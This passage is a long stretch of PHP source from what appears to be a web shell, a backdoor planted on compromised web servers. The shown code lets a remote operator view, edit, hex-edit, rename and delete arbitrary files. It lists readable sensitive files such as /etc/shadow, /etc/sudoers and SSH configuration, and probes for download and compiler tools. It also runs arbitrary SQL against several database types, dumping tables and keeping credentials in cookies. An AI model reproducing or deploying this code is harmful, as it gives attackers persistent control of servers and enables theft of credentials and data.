  1788.     } elseif (isset($_GP['view'])) {
  1789.         $s_f = $_GP['view'];
  1790.         if (isset($s_fnew) && (trim($s_fnew) != ""))
  1791.             $s_f = $s_fnew;
  1792.         $s_owner = "";
  1793.         if (@is_file($s_f)) {
  1794.             $targetdir = dirname($s_f);
  1795.             chdir($targetdir);
  1796.             $s_cwd = cp(getcwd());
  1797.             setcookie("cwd", $s_cwd, time() + $s_login_time);
  1798.             if (!$s_win && $s_posix) {
  1799.                 $s_name  = posix_getpwuid(fileowner($s_f));
  1800.                 $s_group = posix_getgrgid(filegroup($s_f));
  1801.                 $s_owner = "<tr><td>Owner</td><td>" . $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name'] . "</td></tr>";
  1802.             }
  1803.             $s_filn = basename($s_f);
  1804.             $s_result .= "<table class='viewfile' style='width:100%;'>
  1805.             <tr><td style='width:140px;'>Filename</td><td><span id='" . cs($s_filn) . "_link'>" . $s_f . "</span>
  1806.             <div id='" . cs($s_filn) . "_form' class='sembunyi'>
  1807.             <form action='" . $s_self . "' method='post'>
  1808.                 <input type='hidden' name='oldname' value='" . hss($s_f) . "' style='margin:0;padding:0;' />
  1809.                 <input type='hidden' name='view' value='" . hss($s_f) . "' />
  1810.                 <input class='inputz' style='width:200px;' type='text' name='rename' value='" . hss($s_f) . "' />
  1811.                 <input class='inputzbut' type='submit' value='rename' />
  1812.             </form>
  1813.             <input class='inputzbut' type='button' value='x' onclick=\"tukar_('" . cs($s_filn) . "_form','" . cs($s_filn) . "_link');\" />
  1814.             </div>
  1815.             </td></tr>
  1816.             <tr><td>Size</td><td>" . gs($s_f) . " (" . @filesize($s_f) . ")</td></tr>
  1817.             <tr><td>Permission</td><td>" . gp($s_f) . "</td></tr>
  1818.             " . $s_owner . "
  1819.             <tr><td>Create time</td><td>" . @date("d-M-Y H:i:s", filectime($s_f)) . "</td></tr>
  1820.             <tr><td>Last modified</td><td>" . @date("d-M-Y H:i:s", filemtime($s_f)) . "</td></tr>
  1821.             <tr><td>Last accessed</td><td>" . @date("d-M-Y H:i:s", fileatime($s_f)) . "</td></tr>
  1822.             <tr><td>Actions</td><td>
  1823.             <a href='" . $s_self . "edit=" . pl($s_f) . "' title='edit'>edit</a> | <a href='" . $s_self . "hexedit=" . pl($s_f) . "' title='edit as hex'>hex</a> | <a href=\"javascript:tukar_('" . cs($s_filn) . "_link','" . cs($s_filn) . "_form');\" title='rename'>ren</a> | <a href='" . $s_self . "del=" . pl($s_f) . "' title='delete'>del</a> | <a href='" . $s_self . "dl=" . pl($s_f) . "'>dl</a>
  1824.             </td></tr>
  1825.             <tr><td>View</td><td>
  1826.             <a href='" . $s_self . "view=" . pl($s_f) . "&type=text" . "'>text</a> | <a href='" . $s_self . "view=" . pl($s_f) . "&type=code" . "'>code</a> | <a href='" . $s_self . "view=" . pl($s_f) . "&type=image" . "'>image</a> | <a href='" . $s_self . "view=" . pl($s_f) . "&type=audio" . "'>audio</a> | <a href='" . $s_self . "view=" . pl($s_f) . "&type=video" . "'>video</a>
  1827.             </td></tr>
  1828.             </table>";
  1829.             $s_t         = "";
  1830.             $s_mime      = "";
  1831.             $s_mime_list = gzinflate(base64_decode($s_mime_types));
  1832.             $s_ext_pos   = strrpos($s_f, ".");
  1833.             if ($s_ext_pos !== false) {
  1834.                 $s_ext = trim(substr($s_f, $s_ext_pos), ".");
  1835.                 if (preg_match("/([^\s]+)\ .*\b" . $s_ext . "\b.*/i", $s_mime_list, $s_r)) {
  1836.                     $s_mime = $s_r[1];
  1837.                 }
  1838.             }
  1839.             $s_iinfo = @getimagesize($s_f);
  1840.             if (strtolower(substr($s_filn, -3, 3)) == "php")
  1841.                 $s_t = "code";
  1842.             elseif (is_array($s_iinfo))
  1843.                 $s_t = 'image';
  1844.             elseif (!empty($s_mime))
  1845.                 $s_t = substr($s_mime, 0, strpos($s_mime, "/"));
  1846.             if (isset($_GP['type']))
  1847.                 $s_t = $_GP['type'];
  1848.             if ($s_t == "image") {
  1849.                 $s_width   = (int) $s_iinfo[0];
  1850.                 $s_height  = (int) $s_iinfo[1];
  1851.                 $s_imginfo = "Image type = ( " . $s_iinfo['mime'] . " )<br />
  1852.                     Image Size = <span class='gaul'>( </span>" . $s_width . " x " . $s_height . "<span class='gaul'> )</span><br />";
  1853.                 if ($s_width > 800) {
  1854.                     $s_width   = 800;
  1855.                     $s_imglink = "<p><a href='" . $s_self . "img=" . pl($s_filn) . "'>
  1856.                     <span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
  1857.                 } else
  1858.                     $s_imglink = "";
  1859.                 $s_result .= "<div class='viewfilecontent' style='text-align:center;'>" . $s_imglink . "
  1860.                     <img width='" . $s_width . "' src='" . $s_self . "img=" . pl($s_filn) . "' alt='" . $s_filn . "' style='margin:8px auto;padding:0;border:0;' /></div>";
  1861.             } elseif ($s_t == "code") {
  1862.                 $s_result .= "<div class=\"viewfilecontent\">";
  1863.                 $s_file = wordwrap(@fgc($s_f), 160, "\n", true);
  1864.                 $s_buff = highlight_string($s_file, true);
  1865.                 $s_old  = array(
  1866.                     "0000BB",
  1867.                     "000000",
  1868.                     "FF8000",
  1869.                     "DD0000",
  1870.                     "007700"
  1871.                 );
  1872.                 $s_new  = ($s_theme == "bright") ? $s_highlight_bright : $s_highlight_dark;
  1873.                 $s_buff = str_replace($s_old, $s_new, $s_buff);
  1874.                 $s_result .= $s_buff;
  1875.                 $s_result .= "</div>";
  1876.             } elseif ($s_t == "audio" || $s_t == "video") {
  1877.                 $s_result .= "<div class='viewfilecontent' style='text-align:center;'>
  1878.                             <" . $s_t . " controls>
  1879.                             <source src='" . hss($s_self . "dltype=raw&dlpath=" . $s_f) . "' type='" . $s_mime . "'>
  1880.                                 <object data='" . hss($s_self . "dltype=raw&dlpath=" . $s_f) . "'>
  1881.                                     <embed src='" . hss($s_self . "dltype=raw&dlpath=" . $s_f) . "'>
  1882.                                 </object>
  1883.                             </" . $s_t . ">
  1884.                             </div>";
  1885.             } else {
  1886.                 $s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
  1887.                 $s_result .= str_replace("<", "&lt;", str_replace(">", "&gt;", (wordwrap(@fgc($s_f), 160, "\n", true))));
  1888.                 $s_result .= "</pre>";
  1889.             }
  1890.         } elseif (@is_dir($s_f)) {
  1891.             chdir($s_f);
  1892.             $s_cwd = cp(getcwd());
  1893.             setcookie("cwd", $s_cwd, time() + $s_login_time);
  1894.             $s_result .= showdir($s_cwd);
  1895.         } else
  1896.             $s_result .= notif("Cannot find the path specified " . $s_f);
  1897.     } elseif (isset($_GP['edit'])) {
  1898.         $s_f   = $_GP['edit'];
  1899.         $s_fc  = "";
  1900.         $s_fcs = "";
  1901.         if (isset($_GP['new']) && ($_GP['new'] == 'yes')) {
  1902.             $s_num = 1;
  1903.             if (@is_file($s_f)) {
  1904.                 $s_pos = strrpos($s_f, "_");
  1905.                 if ($s_pos !== false)
  1906.                     $s_num = (int) substr($s_f, $s_pos + 1);
  1907.                 while (@is_file(substr($s_f, 0, $s_pos) . "_" . $s_num)) {
  1908.                     $s_num++;
  1909.                 }
  1910.                 $s_f = substr($s_f, 0, $s_pos) . "_" . $s_num;
  1911.             }
  1912.         } else if (@is_file($s_f))
  1913.             $s_fc = @fgc($s_f);
  1914.         if (isset($_GP['fc'])) {
  1915.             $s_fc   = $_GP['fc'];
  1916.             $s_eol  = $_GP['eol'];
  1917.             $s_eolf = pack("H*", geol($s_fc));
  1918.             $s_eolh = pack("H*", $s_eol);
  1919.             $s_fc   = str_replace($s_eolf, $s_eolh, $s_fc);
  1920.             if ($s_filez = fopen($s_f, "w")) {
  1921.                 $s_time = @date("d-M-Y H:i:s", time());
  1922.                 if (fwrite($s_filez, $s_fc) !== false)
  1923.                     $s_fcs = "File saved @ " . $s_time;
  1924.                 else
  1925.                     $s_fcs = "Failed to save";
  1926.                 fclose($s_filez);
  1927.             } else
  1928.                 $s_fcs = "Permission denied";
  1929.         } elseif (@is_file($s_f) && !@is_writable($s_f))
  1930.             $s_fcs = "This file is not writable";
  1931.         $s_eol = geol($s_fc);
  1932.         if (!empty($s_fcs))
  1933.             $s_result .= notif($s_fcs);
  1934.         $s_result .= "<form action='" . $s_self . "' method='post'>
  1935.                 <textarea id='fc' name='fc' class='txtarea'>" . hss($s_fc) . "</textarea>
  1936.                 <p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='" . hss($s_f) . "' /></p>
  1937.                 <p><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
  1938.                 <input type='hidden' name='eol' value='" . $s_eol . "' />
  1939.                 </form>";
  1940.     } elseif (isset($_GP['hexedit'])) {
  1941.         $s_f     = $_GP['hexedit'];
  1942.         $s_fc    = "";
  1943.         $s_fcs   = "";
  1944.         $s_hexes = "";
  1945.         $s_lnum  = 0;
  1946.         if (!empty($_GP['hx']) || !empty($_GP['hxt'])) {
  1947.             if (!empty($_GP['hx'])) {
  1948.                 foreach ($_GP['hx'] as $s_hex)
  1949.                     $s_hexes .= str_replace(" ", "", $s_hex);
  1950.             } elseif (!empty($_GP['hxt'])) {
  1951.                 $s_hexes = trim($_GP['hxt']);
  1952.             }
  1953.             if ($s_filez = fopen($s_f, "w")) {
  1954.                 $s_bins = pack("H*", $s_hexes);
  1955.                 $s_time = @date("d-M-Y H:i:s", time());
  1956.                 if (fwrite($s_filez, $s_bins) !== false)
  1957.                     $s_fcs = "File saved @ " . $s_time;
  1958.                 else
  1959.                     $s_fcs = "Failed to save";
  1960.                 fclose($s_filez);
  1961.             } else
  1962.                 $s_fcs = "Permission denied";
  1963.         } else if (@is_file($s_f) && !@is_writable($s_f))
  1964.             $s_fcs = "This file is not writable";
  1965.         if (!empty($s_fcs))
  1966.             $s_result .= notif($s_fcs);
  1967.         $s_result .= "<form action='" . $s_self . "' method='post'><p class='ce mp'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='" . hss($s_f) . "' /></p><p class='bb' style='padding:0 0 14px 0;'><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return sh();\" /></p><table class='explore'>";
  1968.         if (@is_file($s_f)) {
  1969.             $s_fp = fopen($s_f, "r");
  1970.             if ($s_fp) {
  1971.                 $s_ldump    = "";
  1972.                 $s_counter  = 0;
  1973.                 $s_icounter = 0;
  1974.                 while (!feof($s_fp)) {
  1975.                     $s_line    = fread($s_fp, 32);
  1976.                     $s_linehex = strtoupper(bin2hex($s_line));
  1977.                     $s_linex   = str_split($s_linehex, 2);
  1978.                     $s_linehex = implode(" ", $s_linex);
  1979.                     $s_addr    = sprintf("%08xh", $s_icounter);
  1980.                     $s_result .= "<tr><td class='ce w60'>" . $s_addr . "</td><td class='le w594'><input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hu('" . $s_counter . "',event);\" onkeydown=\"return hf('" . $s_counter . "',event);\" onkeyup=\"hu('" . $s_counter . "',event);\" type='text' class='inputz w578' id='hex_" . $s_counter . "' name='hx[]' value='" . $s_linehex . "'  maxlength='" . strlen($s_linehex) . "' /></td><td class='le ls2'><pre name='hexdump' id='dump_" . $s_counter . "' class='mp'></pre></td></tr>";
  1981.                     $s_counter++;
  1982.                     $s_icounter += 32;
  1983.                 }
  1984.                 $s_result .= "<input type='hidden' id='counter' value='" . $s_counter . "' />";
  1985.                 $s_result .= "<textarea name='hxt' id='hxt' class='sembunyi'></textarea>";
  1986.                 fclose($s_fp);
  1987.             }
  1988.         }
  1989.         $s_result .= "</table></form>";
  1990.     } elseif (isset($_GP['x']) && ($_GP['x'] == 'info')) {
  1991.         $s_result = "";
  1992.         $s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
  1993.         $s_result .= "<div class='info' id='info_server'><table>";
  1994.         if ($s_win) {
  1995.             foreach (range("A", "Z") as $s_letter) {
  1996.                 if ((@is_dir($s_letter . ":\\") && @is_readable($s_letter . ":\\"))) {
  1997.                     $s_drive = $s_letter . ":";
  1998.                     $s_result .= "<tr><td>drive " . $s_drive . "</td><td>" . ts(disk_free_space($s_drive)) . " free of " . ts(disk_total_space($s_drive)) . "</td></tr>";
  1999.                 }
  2000.             }
  2001.         } else
  2002.             $s_result .= "<tr><td>root partition</td><td>" . ts(@disk_free_space("/")) . " free of " . ts(@disk_total_space("/")) . "</td></tr>";
  2003.         $s_result .= "<tr><td>php</td><td>" . phpversion() . "</td></tr>";
  2004.         $s_access = array(
  2005.             "s_python",
  2006.             "s_perl",
  2007.             "s_ruby",
  2008.             "s_node",
  2009.             "s_nodejs",
  2010.             "s_gcc",
  2011.             "s_java",
  2012.             "s_javac",
  2013.             "s_tar",
  2014.             "s_wget",
  2015.             "s_lwpdownload",
  2016.             "s_lynx",
  2017.             "s_curl"
  2018.         );
  2019.         foreach ($s_access as $s) {
  2020.             $s_t = explode("_", $s);
  2021.             if (isset($$s))
  2022.                 $s_result .= "<tr><td>" . $s_t[1] . "</td><td>" . $$s . "</td></tr>";
  2023.         }
  2024.         if (!$s_win) {
  2025.             $s_interesting = array(
  2026.                 "/etc/os-release",
  2027.                 "/etc/passwd",
  2028.                 "/etc/shadow",
  2029.                 "/etc/group",
  2030.                 "/etc/issue",
  2031.                 "/etc/issue.net",
  2032.                 "/etc/motd",
  2033.                 "/etc/sudoers",
  2034.                 "/etc/hosts",
  2035.                 "/etc/aliases",
  2036.                 "/proc/version",
  2037.                 "/etc/resolv.conf",
  2038.                 "/etc/sysctl.conf",
  2039.                 "/etc/named.conf",
  2040.                 "/etc/network/interfaces",
  2041.                 "/etc/squid/squid.conf",
  2042.                 "/usr/local/squid/etc/squid.conf",
  2043.                 "/etc/ssh/sshd_config",
  2044.                 "/etc/httpd/conf/httpd.conf",
  2045.                 "/usr/local/apache2/conf/httpd.conf",
  2046.                 " /etc/apache2/apache2.conf",
  2047.                 "/etc/apache2/httpd.conf",
  2048.                 "/usr/pkg/etc/httpd/httpd.conf",
  2049.                 "/usr/local/etc/apache22/httpd.conf",
  2050.                 "/usr/local/etc/apache2/httpd.conf",
  2051.                 "/var/www/conf/httpd.conf",
  2052.                 "/etc/apache2/httpd2.conf",
  2053.                 "/etc/httpd/httpd.conf",
  2054.                 "/etc/lighttpd/lighttpd.conf",
  2055.                 "/etc/nginx/nginx.conf",
  2056.                 "/etc/fstab",
  2057.                 "/etc/mtab",
  2058.                 "/etc/crontab",
  2059.                 "/etc/inittab",
  2060.                 "/etc/modules.conf",
  2061.                 "/etc/modules"
  2062.             );
  2063.             foreach ($s_interesting as $s_f) {
  2064.                 if (@is_file($s_f) && @is_readable($s_f))
  2065.                     $s_result .= "<tr><td>" . $s_f . "</td><td><a href='" . $s_self . "view=" . pl($s_f) . "'>" . $s_f . " is readable</a></td></tr>";
  2066.             }
  2067.         }
  2068.         $s_result .= "</table></div>";
  2069.         if (!$s_win) {
  2070.             if ($s_i_buff = trim(@fgc("/proc/cpuinfo"))) {
  2071.                 $s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
  2072.                 $s_result .= "<div class='info' id='info_cpu'>";
  2073.                 $s_i_buffs = explode("\n\n", $s_i_buff);
  2074.                 foreach ($s_i_buffs as $s_i_buffss) {
  2075.                     $s_i_buffss = trim($s_i_buffss);
  2076.                     if ($s_i_buffss != "") {
  2077.                         $s_i_buffsss = explode("\n", $s_i_buffss);
  2078.                         $s_result .= "<table>";
  2079.                         foreach ($s_i_buffsss as $s_i) {
  2080.                             $s_i = trim($s_i);
  2081.                             if ($s_i != "") {
  2082.                                 $s_ii = explode(":", $s_i);
  2083.                                 if (count($s_ii) == 2)
  2084.                                     $s_result .= "<tr><td>" . $s_ii[0] . "</td><td>" . $s_ii[1] . "</td></tr>";
  2085.                             }
  2086.                         }
  2087.                         $s_result .= "</table>";
  2088.                     }
  2089.                 }
  2090.                 $s_result .= "</div>";
  2091.             }
  2092.             if ($s_i_buff = trim(@fgc("/proc/meminfo"))) {
  2093.                 $s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
  2094.                 $s_i_buffs = explode("\n", $s_i_buff);
  2095.                 $s_result .= "<div class='info' id='info_mem'><table>";
  2096.                 foreach ($s_i_buffs as $s_i) {
  2097.                     $s_i = trim($s_i);
  2098.                     if ($s_i != "") {
  2099.                         $s_ii = explode(":", $s_i);
  2100.                         if (count($s_ii) == 2)
  2101.                             $s_result .= "<tr><td>" . $s_ii[0] . "</td><td>" . $s_ii[1] . "</td></tr>";
  2102.                     } else
  2103.                         $s_result .= "</table><table>";
  2104.                 }
  2105.                 $s_result .= "</table></div>";
  2106.             }
  2107.             if ($s_i_buff = trim(@fgc("/proc/partitions"))) {
  2108.                 $s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
  2109.                 $s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
  2110.                 $s_result .= "<div class='info' id='info_part'>";
  2111.                 $s_i_buffs = explode("\n\n", $s_i_buff);
  2112.                 $s_result .= "<table><tr>";
  2113.                 $s_i_head = explode(" ", $s_i_buffs[0]);
  2114.                 foreach ($s_i_head as $s_h)
  2115.                     $s_result .= "<th>" . $s_h . "</th>";
  2116.                 $s_result .= "</tr>";
  2117.                 $s_i_buffss = explode("\n", $s_i_buffs[1]);
  2118.                 foreach ($s_i_buffss as $s_i_b) {
  2119.                     $s_i_row = explode(" ", trim($s_i_b));
  2120.                     $s_result .= "<tr>";
  2121.                     foreach ($s_i_row as $s_r)
  2122.                         $s_result .= "<td style='text-align:center;'>" . $s_r . "</td>";
  2123.                     $s_result .= "</tr>";
  2124.                 }
  2125.                 $s_result .= "</table>";
  2126.                 $s_result .= "</div>";
  2127.             }
  2128.         }
  2129.         $s_phpinfo = array(
  2130.             "PHP General" => INFO_GENERAL,
  2131.             "PHP Configuration" => INFO_CONFIGURATION,
  2132.             "PHP Modules" => INFO_MODULES,
  2133.             "PHP Environment" => INFO_ENVIRONMENT,
  2134.             "PHP Variables" => INFO_VARIABLES
  2135.         );
  2136.         foreach ($s_phpinfo as $s_p => $s_i) {
  2137.             $s_result .= "<p class='notif' onclick=\"toggle('" . $s_i . "')\">" . $s_p . "</p>";
  2138.             ob_start();
  2139.             eval("phpinfo(" . $s_i . ");");
  2140.             $s_b = ob_get_contents();
  2141.             ob_end_clean();
  2142.             if (preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)) {
  2143.                 $s_body = str_replace(array(
  2144.                     ",",
  2145.                     ";",
  2146.                     "&amp;"
  2147.                 ), array(
  2148.                     ", ",
  2149.                     "; ",
  2150.                     "&"
  2151.                 ), $r[1]);
  2152.                 $s_result .= "<div class='info' id='" . $s_i . "'>" . $s_body . "</div>";
  2153.             }
  2154.         }
  2155.     } elseif (isset($_GP['x']) && ($_GP['x'] == 'db')) {
  2156.         $s_sql         = array();
  2157.         $s_sql_deleted = "";
  2158.         $s_show_form   = $s_show_dbs = true;
  2159.         if (isset($_GP['dc'])) {
  2160.             $k = $_GP['dc'];
  2161.             setcookie("c[" . $k . "]", "", time() - $s_login_time);
  2162.             $s_sql_deleted = $k;
  2163.         }
  2164.         if (isset($_COOKIE['c']) && !isset($_GP['connect'])) {
  2165.             foreach ($_COOKIE['c'] as $c => $d) {
  2166.                 if ($c == $s_sql_deleted)
  2167.                     continue;
  2168.                 $s_dbcon = (function_exists("json_encode") && function_exists("json_decode")) ? json_decode($d) : unserialize($d);
  2169.                 foreach ($s_dbcon as $k => $v)
  2170.                     $s_sql[$k] = $v;
  2171.                 $s_sqlport = (!empty($s_sql['port'])) ? ":" . $s_sql['port'] : "";
  2172.                 $s_result .= notif("[" . $s_sql['type'] . "] " . $s_sql['user'] . "@" . $s_sql['host'] . $s_sqlport . "
  2173.                             <span style='float:right;'><a href='" . $s_self . "x=db&connect=connect&sqlhost=" . pl($s_sql['host']) . "&sqlport=" . pl($s_sql['port']) . "&sqluser=" . pl($s_sql['user']) . "&sqlpass=" . pl($s_sql['pass']) . "&sqltype=" . pl($s_sql['type']) . "'>connect</a> | <a href='" . $s_self . "x=db&dc=" . pl($c) . "'>disconnect</a></span>");
  2174.             }
  2175.         } else {
  2176.             $s_sql['host'] = isset($_GP['sqlhost']) ? $_GP['sqlhost'] : "";
  2177.             $s_sql['port'] = isset($_GP['sqlport']) ? $_GP['sqlport'] : "";
  2178.             $s_sql['user'] = isset($_GP['sqluser']) ? $_GP['sqluser'] : "";
  2179.             $s_sql['pass'] = isset($_GP['sqlpass']) ? $_GP['sqlpass'] : "";
  2180.             $s_sql['type'] = isset($_GP['sqltype']) ? $_GP['sqltype'] : "";
  2181.         }
  2182.         if (isset($_GP['connect'])) {
  2183.             $s_con     = sql_connect($s_sql['type'], $s_sql['host'], $s_sql['user'], $s_sql['pass']);
  2184.             $s_sqlcode = isset($_GP['sqlcode']) ? $_GP['sqlcode'] : "";
  2185.             if ($s_con !== false) {
  2186.                 if (isset($_GP['sqlinit'])) {
  2187.                     $s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode")) ? json_encode($s_sql) : serialize($s_sql);
  2188.                     $s_c_num      = substr(md5(time() . rand(0, 100)), 0, 3);
  2189.                     while (isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])) {
  2190.                         $s_c_num = substr(md5(time() . rand(0, 100)), 0, 3);
  2191.                     }
  2192.                     setcookie("c[" . $s_c_num . "]", $s_sql_cookie, time() + $s_login_time);
  2193.                 }
  2194.                 $s_show_form = false;
  2195.                 $s_result .= "<form action='" . $s_self . "' method='post'>
  2196.                     <input type='hidden' name='sqlhost' value='" . hss($s_sql['host']) . "' />
  2197.                     <input type='hidden' name='sqlport' value='" . hss($s_sql['port']) . "' />
  2198.                     <input type='hidden' name='sqluser' value='" . hss($s_sql['user']) . "' />
  2199.                     <input type='hidden' name='sqlpass' value='" . hss($s_sql['pass']) . "' />
  2200.                     <input type='hidden' name='sqltype' value='" . hss($s_sql['type']) . "' />
  2201.                     <input type='hidden' name='x' value='db' />
  2202.                     <input type='hidden' name='connect' value='connect' />
  2203.                     <textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>" . hss($s_sqlcode) . "</textarea>
  2204.                     <p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
  2205.                     &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
  2206.                     </form>";
  2207.                 if (!empty($s_sqlcode)) {
  2208.                     $s_querys = explode(";", $s_sqlcode);
  2209.                     foreach ($s_querys as $s_query) {
  2210.                         if (trim($s_query) != "") {
  2211.                             $s_hasil = sql_query($s_sql['type'], $s_query, $s_con);
  2212.                             if ($s_hasil != false) {
  2213.                                 $s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>" . hss($s_query) . ";&nbsp;&nbsp;&nbsp;
  2214.                                 <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";
  2215.                                 if (!is_bool($s_hasil)) {
  2216.                                     $s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
  2217.                                     for ($s_i = 0; $s_i < sql_num_fields($s_sql['type'], $s_hasil); $s_i++)
  2218.                                         $s_result .= "<th>" . @hss(sql_field_name($s_sql['type'], $s_hasil, $s_i)) . "</th>";
  2219.                                     $s_result .= "</tr>";
  2220.                                     while ($s_rows = sql_fetch_data($s_sql['type'], $s_hasil)) {
  2221.                                         $s_result .= "<tr>";
  2222.                                         foreach ($s_rows as $s_r) {
  2223.                                             if (empty($s_r))
  2224.                                                 $s_r = " ";
  2225.                                             $s_result .= "<td>" . @hss($s_r) . "</td>";
  2226.                                         }
  2227.                                         $s_result .= "</tr>";
  2228.                                     }
  2229.                                     $s_result .= "</table>";
  2230.                                 }
  2231.                             } else {
  2232.                                 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>" . hss($s_query) . ";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
  2233.                             }
  2234.                         }
  2235.                     }
  2236.                 } else {
  2237.                     if (($s_sql['type'] != 'pdo') && ($s_sql['type'] != 'odbc')) {
  2238.                         if ($s_sql['type'] == 'mysql')
  2239.                             $s_showdb = "SHOW DATABASES";
  2240.                         elseif ($s_sql['type'] == 'mssql')
  2241.                             $s_showdb = "SELECT name FROM master..sysdatabases";
  2242.                         elseif ($s_sql['type'] == 'pgsql')
  2243.                             $s_showdb = "SELECT schema_name FROM information_schema.schemata";
  2244.                         elseif ($s_sql['type'] == 'oracle')
  2245.                             $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  2246.                         elseif ($s_sql['type'] == 'sqlite3' || $s_sql['type'] == 'sqlite')
  2247.                             $s_showdb = "SELECT \"" . $s_sql['host'] . "\"";
  2248.                         else
  2249.                             $s_showdb = "SHOW DATABASES";
  2250.                         $s_hasil = sql_query($s_sql['type'], $s_showdb, $s_con);
  2251.                         if ($s_hasil != false) {
  2252.                             while ($s_rows_arr = sql_fetch_data($s_sql['type'], $s_hasil)) {
  2253.                                 foreach ($s_rows_arr as $s_rows) {
  2254.                                     $s_result .= "<p class='notif' onclick=\"toggle('db_" . $s_rows . "')\">" . $s_rows . "</p>";
  2255.                                     $s_result .= "<div class='info' id='db_" . $s_rows . "'><table class='explore'>";
  2256.                                     if ($s_sql['type'] == 'mysql')
  2257.                                         $s_showtbl = "SHOW TABLES FROM " . $s_rows;
  2258.                                     elseif ($s_sql['type'] == 'mssql')
  2259.                                         $s_showtbl = "SELECT name FROM " . $s_rows . "..sysobjects WHERE xtype = 'U'";
  2260.                                     elseif ($s_sql['type'] == 'pgsql')
  2261.                                         $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='" . $s_rows . "'";
  2262.                                     elseif ($s_sql['type'] == 'oracle')
  2263.                                         $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='" . $s_rows . "'";
  2264.                                     elseif ($s_sql['type'] == 'sqlite3' || $s_sql['type'] == 'sqlite')
  2265.                                         $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  2266.                                     else
  2267.                                         $s_showtbl = "";
  2268.                                     $s_hasil_t = sql_query($s_sql['type'], $s_showtbl, $s_con);
  2269.                                     if ($s_hasil_t != false) {
  2270.                                         while ($s_tables_arr = sql_fetch_data($s_sql['type'], $s_hasil_t)) {
  2271.                                             foreach ($s_tables_arr as $s_tables) {
  2272.                                                 if ($s_sql['type'] == 'mysql')
  2273.                                                     $s_dump_tbl = "SELECT * FROM " . $s_rows . "." . $s_tables . " LIMIT 0,100";
  2274.                                                 elseif ($s_sql['type'] == 'mssql')
  2275.                                                     $s_dump_tbl = "SELECT TOP 100 * FROM " . $s_rows . ".." . $s_tables;
  2276.                                                 elseif ($s_sql['type'] == 'pgsql')
  2277.                                                     $s_dump_tbl = "SELECT * FROM " . $s_rows . "." . $s_tables . " LIMIT 100 OFFSET 0";
  2278.                                                 elseif ($s_sql['type'] == 'oracle')
  2279.                                                     $s_dump_tbl = "SELECT * FROM " . $s_rows . "." . $s_tables . " WHERE ROWNUM BETWEEN 0 AND 100;";
  2280.                                                 elseif ($s_sql['type'] == 'sqlite' || $s_sql['type'] == 'sqlite3')
  2281.                                                     $s_dump_tbl = "SELECT * FROM " . $s_tables . " LIMIT 0,100";
  2282.                                                 else
  2283.                                                     $s_dump_tbl = "";
  2284.                                                 $s_dump_tbl_link = $s_self . "x=db&connect=&sqlhost=" . pl($s_sql['host']) . "&sqlport=" . pl($s_sql['port']) . "&sqluser=" . pl($s_sql['user']) . "&sqlpass=" . pl($s_sql['pass']) . "&sqltype=" . pl($s_sql['type']) . "&sqlcode=" . pl($s_dump_tbl);
  2285.                                                 $s_result .= "<tr><td ondblclick=\"return go('" . adds($s_dump_tbl_link) . "',event);\"><a href='" . $s_dump_tbl_link . "'>" . $s_tables . "</a></td></tr>";
  2286.                                             }
  2287.                                         }
  2288.                                     }
  2289.                                     $s_result .= "</table></div>";
  2290.                                 }
  2291.                             }
  2292.                         }
  2293.                     }
  2294.                 }
  2295.                 sql_close($s_sql['type'], $s_con);
  2296.             } else {
  2297.                 $s_result .= notif("Unable to connect to database");
  2298.                 $s_show_form = true;
  2299.             }
  2300.         }
  2301.         if ($s_show_form) {
  2302.             $s_sqllist = array();
  2303.             if (function_exists("mysql_connect"))
  2304.                 $s_sqllist["mysql"] = "Connect to MySQL <span class='desc' style='font-size:12px;'>- using class mysqli or mysql_*</span>";
  2305.             if (function_exists("mssql_connect") || function_exists("sqlsrv_connect"))
  2306.                 $s_sqllist["mssql"] = "Connect to MsSQL <span class='desc' style='font-size:12px;'>- using sqlsrv_* or mssql_*</span>";
  2307.             if (function_exists("pg_connect"))
  2308.                 $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
  2309.             if (function_exists("oci_connect"))
  2310.                 $s_sqllist["oracle"] = "Connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
  2311.             if (function_exists("sqlite_open"))
  2312.                 $s_sqllist["sqlite"] = "Connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
  2313.             if (class_exists("SQLite3"))
  2314.                 $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
  2315.             if (function_exists("odbc_connect"))
  2316.                 $s_sqllist["odbc"] = "Connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
  2317.             if (class_exists("PDO"))
  2318.                 $s_sqllist["pdo"] = "Connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";
